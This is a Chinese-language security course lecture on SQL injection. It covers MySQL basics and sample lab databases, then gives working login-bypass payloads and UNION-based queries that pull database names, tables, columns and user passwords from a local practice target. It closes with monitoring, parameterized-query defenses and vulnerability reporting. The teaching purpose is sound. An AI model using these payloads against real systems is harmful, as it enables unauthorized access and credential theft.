一、开篇:上节课复盘与课程引入
在正式开始今天的内容之前,我们先简单复盘上节课的核心内容,上节课我们初步接触了 Web 安全中的漏洞相关概念,而今天我们将深入探讨 Web 安全中最经典也最危险的漏洞之一 ——SQL 注入漏洞,本次课程将从原理、危害、实战攻击到防御监控,全方位为你解析 SQL 注入。本次课程的时间为 2025 年 3 月 10 号 19:30–21:30,课程最后也会给大家布置相关的实战作业,帮助大家巩固所学内容。
二、什么是 SQL 注入
SQL 注入说白就是:有人在你网站的输入框(比如登录框、搜索框)里,不是输入正常内容,而是偷偷塞一段 SQL 数据库命令,想骗数据库执行,达到偷数据、删数据甚至改网站的目的。

从专业的角度来说,SQL 注入(SQL Injection,简称 SQLi)是 Web 应用程序对用户输入的数据没有进行严格的合法性检查或过滤,攻击者可以在原本正常的 SQL 查询语句末尾注入额外的 SQL 语句,从而欺骗数据库服务器执行未授权操作的一种攻击手段。
其核心根源在于后端程序未对用户输入进行严格过滤 / 校验,直接将用户输入拼接到 SQL 语句中执行,这是 SQL 注入产生的根本原因。
三、为何要学习 SQL 注入
(一)思考:学习 SQL 注入的意义
安全防护的必要性:在 2025 年,SQL 注入依然是 Web 安全的头号威胁,翻看最近几年的安全事件通报,SQL 注入漏洞导致的数据泄露事件依然占据榜首。2024 年某电商平台因 SQL 注入导致千万级用户数据泄露,某政务系统因注入漏洞被植入后门,这些都是真实发生的安全事件,学习 SQL 注入能够帮助我们更好地防护这类漏洞,避免自身的系统遭受攻击。
攻击门槛低,危害极大:SQL 注入的攻击门槛低,网上有大量现成工具和教程,攻击者很容易就能利用这类漏洞发起攻击,而其危害却极大,可以直接读取、修改、删除数据库内容,甚至可以从注入点延伸到文件读写、命令执行,隐蔽性也很强,很多注入点隐藏在复杂业务逻辑中,不容易被发现。
提升自身的安全能力:无论是作为开发人员还是安全人员,学习 SQL 注入都能够提升自身的安全能力,开发人员可以在开发过程中避免写出存在 SQL 注入漏洞的代码,安全人员可以更好地检测和防护这类漏洞。
(二)SQL 注入带来的危害
SQL 注入的危害可以说是全方位的,从数据层面到系统层面都可能遭受严重的破坏:
数据泄露:攻击者可以窃取数据库中的敏感数据,比如用户的账号密码、个人信息、银行卡信息等,这些数据可能会被用于黑产倒卖,给用户带来巨大的损失。
数据篡改:攻击者可以篡改数据库中的数据,比如把自己的普通账号改成管理员账号、篡改网站文章内容、修改业务参数导致非法业务流(虚假订单、强制支付成功)等。
数据删除:极端情况下,攻击者执行drop table等恶意 SQL 语句,直接删除数据库中的表、数据,让网站瘫痪,造成不可挽回的损失。
系统控制:攻击者可以通过 SQL 注入获取服务器的控制权,进一步发起更严重的攻击,比如植入后门、勒索软件等。
为了更直观地理解 SQL 注入的危害,我们可以看一下服务器架构的示意图,全球所有网站的服务器设计都是类似的,用户的请求经过前端、后端,最终到达数据库,而 SQL 注入就是在用户请求的环节插入恶意 SQL 语句,绕过正常的验证,直接操作数据库。

四、走进 SQL 注入红队攻击
(一)数据库快速复习
在进行 SQL 注入实战之前,我们需要先复习一下数据库的相关知识,因为 SQL 注入是针对数据库的攻击,了解数据库的基础知识是非常有必要的。
数据库是什么:数据库是存放数据的地方,常见的数据库有 excel、记事本(简单的存储方式),还有专业的数据库软件,比如 MySQL、Oracle、SQLServer 等,我们本次课程主要以 MySQL 为例进行讲解。
数据库里面有什么:数据库里面包含数据库(Database)、表(Table)、字段(Column)、数据(Record)等,一个数据库可以包含多个表,一个表可以包含多个字段,每个字段对应一条数据的某个属性。
MySQL 概念:MySQL 是一种关系型数据库管理系统,是目前最流行的开源数据库之一,被广泛应用于 Web 应用中。
MySQL 基本操作
phpStudy 旧版本操作:在 phpStudy 旧版本中,我们可以通过其自带的数据库管理工具来操作 MySQL,比如创建数据库、创建表、插入数据等。
phpStudy 新版本操作(了解,可跳过):phpStudy 新版本的操作界面有所变化,但核心功能是类似的,同样可以进行数据库的创建、表的创建等操作。
示例数据库脚本
bank.sql:这是一个银行相关的数据库脚本,我们需要先新建 bank 数据库,然后再选中 bank 数据库执行这个脚本,脚本内容如下:
SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; — —————————- — Table structure for amount — —————————- DROP TABLE IF EXISTS `amount`; CREATE TABLE `amount` ( `id` int(11) NOT NULL, `mid` varchar(20) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, `balance` int(255) NULL DEFAULT NULL, PRIMARY KEY (`id`, `mid`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic; — —————————- — Records of amount — —————————- INSERT INTO `amount` VALUES (1, '63010213111230112', 10000); SET FOREIGN_KEY_CHECKS = 1;
-
game.sql:这是一个游戏相关的数据库脚本,同样需要先新建 game 数据库,然后选中 game 数据库执行这个脚本,脚本内容如下:
SET NAMES utf8mb4; SET FOREIGN_KEY_CHECKS = 0; — —————————- — Table structure for news — —————————- DROP TABLE IF EXISTS `news`; CREATE TABLE `news` ( `title` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `content` varchar(200) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `datestr` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `id` int(11) NOT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; — —————————- — Records of news — —————————- INSERT INTO `news` VALUES ('新⼿福利', '冲100送20', '20231012', 1); INSERT INTO `news` VALUES ('版本更新', '新增boss海王罗杰', '20231012', 2); — —————————- — Table structure for user — —————————- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(11) NOT NULL, `username` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `password` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `cardid` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `tel` varchar(11) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `diamond` int(11) NULL DEFAULT NULL, PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; — —————————- — Records of user — —————————- INSERT INTO `user` VALUES (1, 'luojie', '123456', '4301031xxxxxxx', '18071712221', 100); INSERT INTO `user` VALUES (2, 'admin', '654321', '4301032xxxxxxx', '18971712221', 20); INSERT INTO `user` VALUES (3, 'derry', '654321', '4301032xxxxxxx', '18971712871', 40); SET FOREIGN_KEY_CHECKS = 1;
MySQL 增删改查操作
增(插入数据):
— 第一种写法 INSERT INTO `user` VALUES (4,'derry2','666666','4301039xxxxxxx','19971712221',100); — 第二种写法 INSERT into `user` (id,username,password,cardid,tel,diamond) VALUES(4,'derry2','666666','4301039xxxxxxx','19971712221',100);
注意:需要选中 user 表所在的数据库再执行 SQL 语句。
-
删(删除数据):
— 删除用户为derry的用户 DELETE from user where username ='derry'
注意:需要选中 user 表所在的数据库再执行 SQL 语句。
-
改(修改数据):
— 修改用户为derry的用户的钻石增加10000 update `user` set diamond = diamond+10000 where username ='derry'
注意:需要选中 user 表所在的数据库再执行 SQL 语句。
-
查(查询数据):
— 查询所有用户 select * from user; — 查询用户为luojie的用户与密码 select username, password from user where username ='luojie' — 查询其他数据库信息(查询银行库的账号表) select * from bank.amount
注意:需要选中对应的数据库再执行 SQL 语句。
(二)wz 靶场与 wz 靶场组成部分
搭建好 wz 靶场:我们本次实战使用的是 wz 靶场,首先需要搭建好这个靶场,搭建完成后,我们可以通过访问http://127.0.0.1/wz/来测试,默认的账号有 luojie(密码 123456)、admin(密码 654321)。

画图分析 wz 靶场的组成部分:wz 靶场的组成部分主要包括前端页面、后端代码、数据库,前端页面负责接收用户的输入,后端代码处理用户的请求,将用户的输入拼接到 SQL 语句中,然后与数据库进行交互,而 SQL 注入就是利用后端代码未对用户输入进行过滤的漏洞,插入恶意 SQL 语句。
(三)SQL 注入案例一
目标:通过 SQL 注入绕过登录验证,成功登录靶场。
思路:
站在黑客角度来思考:黑客会寻找输入框中的注入点,比如登录框的用户名和密码输入框,通过输入恶意的 SQL 语句,来改变原本的 SQL 查询逻辑,从而绕过验证。
站在程序员角度来思考:程序员原本的 SQL 查询语句是select * from 表名 where ⽤户名='账号' and 密码='密码',也就是select * from 表名 where ⽤户名 =‘账号输⼊框’ and 密码 =‘密码输⼊框’,如果未对用户输入进行过滤,那么用户输入的内容会直接拼接到 SQL 语句中。
攻击用户名:
公式 1 攻用户名:我们可以在用户名输入框中输入a' or '1' ='1,密码输入框输入任意内容,比如 123456,此时对应的 SQL 语句就变成了select * from user where username = 'a' or '1' ='1' and password = '123456',因为'1' ='1'是永远为真的,所以这个 SQL 语句会查询出所有的用户,从而绕过登录验证。
访问的 URL 为http://localhost/wz/login.php?user=a' or '1' ='1 &pass=123456。
攻击密码:
公式 2 攻密码:我们也可以在密码输入框中输入' or '1' ='1,用户名输入框输入任意内容,比如 a,此时对应的 SQL 语句就变成了select * from user where username = 'a' and password = '' or '1' ='1',同样因为'1' ='1'是永远为真的,所以也能绕过登录验证。
访问的 URL 为http://localhost/wz/login.php?user=a&pass='or'1'='1。
(四)SQL 注入案例二
准备环境:访问http://localhost/wz/url.php?date=20231012,这个页面是新闻页面,对应的数据库表是 news,原本的 SQL 语句是select * from news where datestr='20231012'。
目标:通过这个新闻页面的注入点,获取所有的用户名和密码。
思路:
明确目标与难度:目标是获取 game 数据库中 user 表的用户名和密码,难度在于需要通过新闻页面的注入点来跨表查询数据。
寻找注入点:这个页面的date参数是注入点,因为后端代码直接将用户输入的date参数拼接到 SQL 语句中,未进行过滤。
获取数据库名:
程序员 SQL 思维:select * from news where datestr='' union select DATABASE(),'','','',这个 SQL 语句会查询新闻表的数据库名,通过union运算符将两个查询结果集合并。
黑客的思维:访问http://localhost/wz/url.php?date=' union select DATABASE(),'','',',就可以查询到新闻表所在的数据库名是 game。
获取所有表:
程序员 SQL 思维:首先,我们需要查询 game 数据库中的所有表,原本的 SQL 语句是select TABLE_name from information_schema.TABLES t where t.TABLE_SCHEMA='game',但是这个语句会返回多行结果,我们需要将其转换为一行,所以使用GROUP_CONCAT函数,变成select (select GROUP_CONCAT(TABLE_name )from information_schema.TABLES t where t.TABLE_SCHEMA='game'),'','','',然后与新闻表的查询语句合并,得到select * from news where datestr='' union SELECT (select GROUP_CONCAT(TABLE_name )from information_schema.TABLES t where t.TABLE_SCHEMA='game'),'','',''。
黑客的思维:访问http://localhost/wz/url.php?date=' union SELECT (select GROUP_CONCAT(TABLE_name )from information_schema.TABLES t where t.TABLE_SCHEMA='game'),'','',',就可以查询到 game 数据库中的所有表,包括 news 和 user。
获取用户名 & 密码:
程序员 SQL 思维:我们需要查询 user 表中的用户名和密码,但是需要保证列的数量与新闻表的列数量一致,新闻表有 title、content、datestr、id 四个列,所以我们需要构造select * from news where datestr='20231012' union select username, PASSWORD ,cardid,'需要的数据' from user where '1' ='1',这样列的数量就一致了。
黑客的思维:访问http://localhost/wz/url.php?date=' union select username,PASSWORD ,cardid,'需要的数据' from user where '1' ='1,就可以查询到 user 表中的用户名和密码。
获得表列名:
程序员 SQL 思维:我们可以查询 user 表的列名,原本的 SQL 语句是select c.COLUMN_NAME from information_schema.COLUMNS c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user',同样需要将其转换为一行,使用GROUP_CONCAT函数,变成select (select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.COLUMNS c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','','',然后与新闻表的查询语句合并,得到select * from news where datestr='' union SELECT (select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.COLUMNS c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','',''。
黑客的思维:访问http://localhost/wz/url.php?date=' union SELECT (select GROUP_CONCAT(c.COLUMN_NAME )from information_schema.COLUMNS c where c.TABLE_SCHEMA='game' and c.TABLE_NAME='user'),'','',',就可以查询到 user 表的列名。
五、蓝队视角:监控红队攻击日志
作为蓝队(防御方),我们需要监控红队(攻击方)的攻击日志,及时发现 SQL 注入攻击。我们可以通过以下方式来监控:
记录数据库操作日志:记录所有的数据库操作日志,包括执行的 SQL 语句、执行时间、执行的 IP 地址等,这样可以及时发现异常的 SQL 查询,比如高频的UNION、SELECT *等操作。
使用安全工具监控:可以使用 OWASP ZAP、SQLMap 等工具进行漏洞扫描,也可以使用静态代码分析工具 SonarQube 来扫描代码中的 SQL 拼接风险。
设置告警机制:当发现异常的 SQL 操作时,及时发出告警,通知安全人员进行处理。
六、总结与 SQL 注入漏洞报告
(一)总结
通过本次课程的学习,我们深入了解了 SQL 注入的原理、危害、实战攻击手法以及防御监控方法。SQL 注入是一种非常危险的 Web 安全漏洞,其产生的根本原因是后端程序未对用户输入进行严格过滤 / 校验,直接将用户输入拼接到 SQL 语句中执行。我们可以通过参数化查询(预处理语句)、严格限制输入类型、使用 ORM 框架、定期进行代码审计和安全测试等方式来防御 SQL 注入漏洞。
(二)SQL 注入漏洞报告
在发现 SQL 注入漏洞后,我们需要编写漏洞报告,漏洞报告通常包括以下内容:
漏洞描述:描述漏洞的位置、类型、危害等。
漏洞验证:详细描述如何验证这个漏洞,包括使用的 payload、执行的步骤、返回的结果等。
修复建议:给出修复这个漏洞的建议,比如使用参数化查询、过滤用户输入等。
风险等级:评估漏洞的风险等级,比如高危、中危、低危。





